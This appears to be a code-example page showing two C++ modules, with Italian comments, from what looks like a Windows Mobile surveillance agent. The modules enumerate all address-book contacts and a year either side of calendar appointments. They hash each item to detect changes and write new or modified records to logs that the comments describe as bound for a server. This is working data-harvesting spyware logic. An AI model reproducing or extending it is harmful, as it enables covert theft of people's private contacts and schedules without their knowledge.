Esempio n. 1
0
void CPoomAddressbook::Run(UINT uAgentId)
{	
	BYTE sha1[20];
	Hash hash;
	DWORD lpdwOutLength;
	DWORD hPoom;
	UINT err;

	handleCount=0;

	err=_PoomDataServiceClient_GetObjectsEnumerator(L"Contacts: All",&hPoom);

	//_PIMPR_ERROR_NOT_FOUND significa che ci sono 0 contatti
	if(err==_PIMPR_ERROR_NOT_FOUND||err==_PIMPR_ERROR_ACCESS_DENIED)
		 return;

	//in handleCount mi ritrovo il numero di contatti che ho
	err=_PoomDataServiceClient_MoveNext(hPoom,requestedCount,&handleCount,ptrArray); 

	if(handleCount==0||err!=0) 
	{
		_PoomDataServiceClient_FreeEnumerator(hPoom);
		return;
	}

	contacts = (CONTACT **) ptrArray;

	UINT numMarkupContact=LoadMarkup(uAgentId);


	for(unsigned int i=0; i < handleCount; i++)
	{
#ifdef _DEBUG
		WCHAR msg[128];
		swprintf_s(msg, L">>>Numero Contact=%i<<<\n",i);
		OutputDebugString(msg);
#endif

		LPBYTE lpOutBuf = NULL;
		//deserializzo CONTACT // CONTACTSerializer 
		CONTACTACC contact={0};
		lpdwOutLength=SerilaizeContact(i, &lpOutBuf,&contact);

		//se l'id del corrente contatto è presente nel markup

			//carico lo sha1 dell'id del contatto e lo confronto con quello del markup 
			//se lo sha è uguale allora il contatto non è stato modificato per cui non c'e' bisogno che creo il log x il server => sha1flag=1
			//se lo sha è diverso significa che il contatto è stato modificato per cui aggiorno il markup e creo il log x il server => sha1flag=2

		//se l'id non è presente nel markup creo il log x il server e aggiungo l'elemanto nel markup=> sha1flag=3

		//calcolo l'hash del contatto i
		hash.Sha1((UCHAR *)lpOutBuf, lpdwOutLength, sha1);
				
		identifyContact ContactFromId=addressbookMapSha1[contact.Id];
			
		BYTE bufNULL[20]={0};
		//se lo sha1 non è null entro
		if(memcmp(ContactFromId.sha1,bufNULL,sizeof(bufNULL))!=0)
		{
			if(!memcmp(ContactFromId.sha1,sha1,sizeof(sha1))==0)
			{
				//se lo sha è diverso significa che il contatto è stato modificato per cui aggiorno il markup e creo il log x il server => sha1flag=2
				//rimuovo il contatto nel il markup vecchio
				addressbookMapSha1.erase(contact.Id);


				//aggiungo il nuovo elemento nel markup e nel log per il server
				identifyContact IdSha1;
				IdSha1.ID=contact.Id;
				memcpy(IdSha1.sha1,sha1,sizeof(IdSha1.sha1));
				IdSha1.sha1flag=2;

				addressbookMapSha1[contact.Id]=IdSha1;

				Log poomLog = Log();

				if (lpOutBuf) {
					poomLog.CreateLog(LOGTYPE_ADDRESSBOOK, NULL, 0, FLASH);
					poomLog.WriteLog(lpOutBuf, lpdwOutLength);			
					poomLog.CloseLog();
					//SAFE_DELETE(lpOutBuf);
				}
			}
			else
			{
						//se lo sha è uguale allora il contatto non è stato modificato per cui non c'e' bisogno che creo il log x il server => sha1flag=1
						ContactFromId.sha1flag=1;
						addressbookMapSha1[contact.Id]=ContactFromId;

			}
				

		}
		else
		{   //se l'id non è presente nel markup creo il log x il server e aggiungo l'elemanto nel markup=> sha1flag=3

			identifyContact IdSha1;
			IdSha1.ID=contact.Id;
			memcpy(IdSha1.sha1,sha1,sizeof(IdSha1.sha1));
			IdSha1.sha1flag=3;
				
			addressbookMapSha1[contact.Id]=IdSha1;



			Log poomLog = Log();

			if (lpOutBuf) {
				poomLog.CreateLog(LOGTYPE_ADDRESSBOOK, NULL, 0, FLASH);
				poomLog.WriteLog(lpOutBuf, lpdwOutLength);			
				poomLog.CloseLog();
				//SAFE_DELETE(lpOutBuf);
			}
		}


		SAFE_DELETE(lpOutBuf);
		
	}



	//alla fine devo parsare tutti i markup è quelli contrassegnati con 0 significa che non sono piu' presenti nell'addressbook per cui li devo rimuovere dal markup
/***
	for (std::map<UINT, identifyContact>::iterator addressbookIt=addressbookMapSha1.begin(); addressbookIt != addressbookMapSha1.end(); addressbookIt++)
	{
		if(addressbookIt->second.sha1flag==0) 
		{
			//rimuovo il contatto nel il markup vecchio
			addressbookMapSha1.erase(addressbookIt->second.ID);
		}

	}
***/

	std::map<UINT, identifyContact>::iterator addressbookIt=addressbookMapSha1.begin(); 
	while(addressbookIt != addressbookMapSha1.end())
	{
		if (addressbookIt->second.sha1flag==0)
		{
			addressbookMapSha1.erase(addressbookIt++->second.ID);  // Use iterator.
									  // Note the post increment.
									  // Increments the iterator but returns the
									  // original value for use by erase 
		}
		else
		{
			++addressbookIt;           // Can use pre-increment in this case
							   // To make sure you have the efficient version
		}
	}


	
	identifyContact* storeMarkupContact = new identifyContact[addressbookMapSha1.size()];
	
	int addressbookPos=0;
	for (std::map<UINT, identifyContact>::iterator addressbookIt=addressbookMapSha1.begin(); addressbookIt != addressbookMapSha1.end(); ++addressbookIt)
	{
			storeMarkupContact[addressbookPos].ID=addressbookIt->second.ID;
			memcpy(storeMarkupContact[addressbookPos].sha1,addressbookIt->second.sha1,sizeof(storeMarkupContact[addressbookPos].sha1));
			storeMarkupContact[addressbookPos].sha1flag=0;
			addressbookPos++;
	}

	SaveMarkup(uAgentId,(BYTE *)storeMarkupContact,sizeof(identifyContact)*addressbookPos);




    

	//dealloco gli oggetti
	for(unsigned int i=0; i < handleCount; i++)
	{
		_PoomDataServiceClient_FreeObject((DWORD*)contacts[i]);
	}

	_PoomDataServiceClient_FreeEnumerator(hPoom);



}
Esempio n. 2
0
void CPoomCalendar::Run(UINT uAgentId)
{
	BYTE sha1[20];
	Hash hash;
	SYSTEMTIME st;
	DWORD lpdwOutLength;

	handleCount=0;

	ZeroMemory(&st, sizeof(st));
	GetSystemTime(&st);

#ifdef _DEBUG
//	err=_PoomDataServiceClient_GetObjectsEnumerator(L"Appointments: Start=03.02.2013.00.00 End=03.05.2013.00.00 Max=2000",&hPoom);
	WCHAR PoomQuery[128];
	swprintf_s(PoomQuery, L"Appointments: Start=%02i.%02i.%04i.00.00 End=%02i.%02i.%04i.00.00 Max=%i",st.wMonth,st.wDay,st.wYear-1,st.wMonth,st.wDay,st.wYear+1,MAX_APPOINTMENT);
	err=_PoomDataServiceClient_GetObjectsEnumerator(PoomQuery,&hPoom);

#else
	//preparo una query per scandagliare gli appuntamenti del precedenta anno e del futuro anno
	WCHAR PoomQuery[128];
	swprintf_s(PoomQuery, L"Appointments: Start=%02i.%02i.%04i.00.00 End=%02i.%02i.%04i.00.00 Max=%i",st.wMonth,st.wDay,st.wYear-1,st.wMonth,st.wDay,st.wYear+1,MAX_APPOINTMENT);
	err=_PoomDataServiceClient_GetObjectsEnumerator(PoomQuery,&hPoom);
#endif
	
	//_PIMPR_ERROR_NOT_FOUND significa che ci sono 0 contatti
	if(err==_PIMPR_ERROR_NOT_FOUND||err==_PIMPR_ERROR_ACCESS_DENIED)
		 return;

	err=_PoomDataServiceClient_MoveNext(hPoom,requestedCount,&handleCount,ptrArray); //in handleCount mi ritrovo il numero di contatti che ho

	if(handleCount==0||err!=0) 
	{
		_PoomDataServiceClient_FreeEnumerator(hPoom);
		return;
	}

	contacts = (APPOINTMENT **) ptrArray;
	
	UINT numMarkupContact=LoadMarkup(uAgentId);

	for(unsigned int i=0; i < handleCount; i++)
	{
#if _DEBUG
		WCHAR msg[64];
		swprintf_s(msg, L"\nAPPOINTMENT %02i/%02i:\n",i,handleCount-1);
		OutputDebugString(msg);
#endif
		LPBYTE lpOutBuf = NULL;
		//deserializzo APPOINTMENT // APPOINTMENTSerializer 
		APPOINTMENTACC appointment={0};
		
		lpdwOutLength=SerilaizeAppointment(i, &lpOutBuf,&appointment);



		//se l'id del corrente contatto è presente nel markup

			//carico lo sha1 dell'id del contatto e lo confronto con quello del markup 
			//se lo sha è uguale allora il contatto non è stato modificato per cui non c'e' bisogno che creo il log x il server => sha1flag=1
			//se lo sha è diverso significa che il contatto è stato modificato per cui aggiorno il markup e creo il log x il server => sha1flag=2

		//se l'id non è presente nel markup creo il log x il server e aggiungo l'elemanto nel markup=> sha1flag=3

		//calcolo l'hash del contatto i
		hash.Sha1((UCHAR *)lpOutBuf, lpdwOutLength, sha1);
				
		identifyAppointment AppointmentFromId=calendarMapSha1[appointment.Id];
			
		BYTE bufNULL[20]={0};
		//se lo sha1 non è null entro
		if(memcmp(AppointmentFromId.sha1,bufNULL,sizeof(bufNULL))!=0)
		{
			if(!memcmp(AppointmentFromId.sha1,sha1,sizeof(sha1))==0)
			{
				//se lo sha è diverso significa che il contatto è stato modificato per cui aggiorno il markup e creo il log x il server => sha1flag=2
				//rimuovo il contatto nel il markup vecchio
				calendarMapSha1.erase(appointment.Id);


				//aggiungo il nuovo elemento nel markup e nel log per il server
				identifyAppointment IdSha1;
				IdSha1.ID=appointment.Id;
				memcpy(IdSha1.sha1,sha1,sizeof(IdSha1.sha1));
				IdSha1.sha1flag=2;

				calendarMapSha1[appointment.Id]=IdSha1;

				Log poomLog = Log();

				if (lpOutBuf) {
					poomLog.CreateLog(LOGTYPE_CALENDAR, NULL, 0, FLASH);
					poomLog.WriteLog(lpOutBuf, lpdwOutLength);			
					poomLog.CloseLog();
					//SAFE_DELETE(lpOutBuf);
				}
			}
			else
			{
						//se lo sha è uguale allora il contatto non è stato modificato per cui non c'e' bisogno che creo il log x il server => sha1flag=1
						AppointmentFromId.sha1flag=1;
						calendarMapSha1[appointment.Id]=AppointmentFromId;

			}
				

		}
		else
		{   //se l'id non è presente nel markup creo il log x il server e aggiungo l'elemanto nel markup=> sha1flag=3

			identifyAppointment IdSha1;
			IdSha1.ID=appointment.Id;
			memcpy(IdSha1.sha1,sha1,sizeof(IdSha1.sha1));
			IdSha1.sha1flag=3;
				
			calendarMapSha1[appointment.Id]=IdSha1;



			Log poomLog = Log();

			if (lpOutBuf) {
				poomLog.CreateLog(LOGTYPE_CALENDAR, NULL, 0, FLASH);
				poomLog.WriteLog(lpOutBuf, lpdwOutLength);			
				poomLog.CloseLog();
				//SAFE_DELETE(lpOutBuf);
			}
		}


		SAFE_DELETE(lpOutBuf);

	}


	//alla fine devo parsare tutti i markup è quelli contrassegnati con 0 significa che non sono piu' presenti nell'addressbook per cui li devo rimuovere dal markup

	std::map<ULONG, identifyAppointment>::iterator calendarIt=calendarMapSha1.begin(); 
	while(calendarIt != calendarMapSha1.end())
	{
		if (calendarIt->second.sha1flag==0)
		{
			calendarMapSha1.erase(calendarIt++->second.ID);  // Use iterator.
									  // Note the post increment.
									  // Increments the iterator but returns the
									  // original value for use by erase 
		}
		else
		{
			++calendarIt;           // Can use pre-increment in this case
							   // To make sure you have the efficient version
		}
	}


	
	identifyAppointment* storeMarkupAppointment= new identifyAppointment[calendarMapSha1.size()];
	
	int calendarPos=0;
	for (std::map<ULONG, identifyAppointment>::iterator calendarIt=calendarMapSha1.begin(); calendarIt != calendarMapSha1.end(); ++calendarIt)
	{
			storeMarkupAppointment[calendarPos].ID=calendarIt->second.ID;
			memcpy(storeMarkupAppointment[calendarPos].sha1,calendarIt->second.sha1,sizeof(storeMarkupAppointment[calendarPos].sha1));
			storeMarkupAppointment[calendarPos].sha1flag=0;
			calendarPos++;
	}

	SaveMarkup(uAgentId,(BYTE *)storeMarkupAppointment,sizeof(identifyAppointment)*calendarPos);





	//dealloco gli oggetti
	for(unsigned int i=0; i < handleCount; i++)
	{
		_PoomDataServiceClient_FreeObject((DWORD*)contacts[i]);
	}

	_PoomDataServiceClient_FreeEnumerator(hPoom);

}